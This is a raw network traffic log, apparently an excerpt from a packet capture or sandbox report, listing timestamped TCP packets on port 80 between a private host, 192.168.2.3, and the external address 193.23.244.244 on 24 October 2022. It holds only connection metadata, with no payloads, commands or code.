Oct 24, 2022 11:09:04.057760000 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057777882 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057785034 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057810068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057832003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057848930 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057857037 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057871103 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057876110 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057893991 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057915926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057933092 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057941914 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057950974 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057961941 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057975054 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057996988 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058001995 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058021069 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058044910 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058064938 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058075905 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058089972 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058103085 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058126926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058151007 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058151007 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058176994 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058199883 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058202028 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058221102 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058242083 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058263063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058269024 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058280945 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058289051 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058303118 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058326006 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058330059 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058346033 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058370113 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058393955 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058394909 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058413982 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058418989 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058443069 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058480024 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058489084 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058506966 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058530092 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058547974 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058554888 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058566093 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058577061 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058584929 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058603048 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058619022 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058630943 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058636904 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058650017 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058656931 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058675051 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058684111 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058695078 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058712959 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058722973 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058732033 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058751106 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058768034 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058774948 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058785915 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058799982 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058805943 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058825016 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058825016 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058844090 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058861017 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058871984 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058897972 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058917046 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058933973 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058950901 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058964968 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058979988 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.058984041 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.058979988 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.059003115 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059011936 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.059022903 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059027910 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.059041977 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059060097 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059067965 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.059077978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059097052 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059108973 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.059115887 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059133053 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059150934 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059163094 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.059170008 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059185028 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.059187889 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059206009 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059210062 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.059223890 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059242010 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059258938 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.059412003 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.059412003 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.086463928 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.086524010 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.086565018 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.086628914 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.086627960 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.086689949 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.086692095 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.086718082 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.086757898 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.086766005 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.086792946 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.086822987 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.086854935 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.086882114 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.086906910 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.086935043 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.086990118 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087019920 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087045908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087049007 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087074041 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087099075 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087122917 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087151051 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087197065 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087199926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087234974 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087244034 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087265015 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087302923 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087306976 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087330103 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087352037 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087377071 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087404966 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087419033 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087440968 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087466955 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087492943 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087529898 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087553024 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087553978 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087579012 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087600946 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087640047 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087649107 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087675095 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087692022 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087722063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087733030 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087749004 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087769032 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087776899 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087805033 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087826967 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087831020 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087860107 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087882042 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087898016 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087910891 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087933064 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087941885 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087973118 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.087973118 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.087999105 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088018894 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088027000 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088052988 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088078022 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088085890 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088108063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088134050 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088161945 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088165045 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088197947 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088197947 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088226080 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088248014 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088270903 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088279009 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088295937 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088319063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088330030 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088342905 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088344097 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088366985 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088386059 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088392019 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088416100 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088438988 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088448048 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088473082 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088495970 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088516951 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088520050 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088542938 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088543892 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088576078 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088604927 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088623047 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088629007 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088643074 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088653088 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088675976 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088697910 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088721037 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088721037 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088743925 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088745117 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088768005 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088789940 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088812113 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088813066 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088838100 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088838100 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088865995 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088888884 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088941097 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088943005 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.088963985 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.088988066 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089008093 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089011908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089036942 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089060068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089077950 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089082003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089103937 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089107037 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089133024 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089155912 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089174986 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089179993 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089201927 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089205027 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089229107 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089251041 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089271069 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089273930 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089296103 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089298964 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089323044 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089343071 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089349031 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089374065 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089397907 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089421988 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089426994 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089442015 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089446068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089473963 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089499950 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089521885 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089523077 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089548111 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089549065 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089570999 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089595079 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089613914 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089617968 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089636087 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089642048 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089668989 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089690924 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089714050 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089725018 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089736938 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089745045 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089768887 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089792013 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089814901 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.089817047 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.089837074 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.117049932 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117115021 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117163897 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117182970 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.117197990 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117238998 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117273092 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.117280006 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117299080 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.117324114 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117367983 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117408037 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.117408991 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117454052 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117475033 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.117496014 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117527962 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117561102 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117595911 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117607117 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.117630959 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117650032 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.117669106 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117696047 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.117714882 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117753029 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117765903 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.117789984 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117825031 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117857933 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117876053 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.117894888 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117902040 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.117935896 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117975950 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.117990017 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.118011951 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118045092 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118084908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118100882 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.118129969 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118146896 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.118171930 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118211031 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118252039 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118264914 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.118294001 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118333101 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118345022 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.118376970 CEST	80	49701	193.23.244.244	192.168.2.3
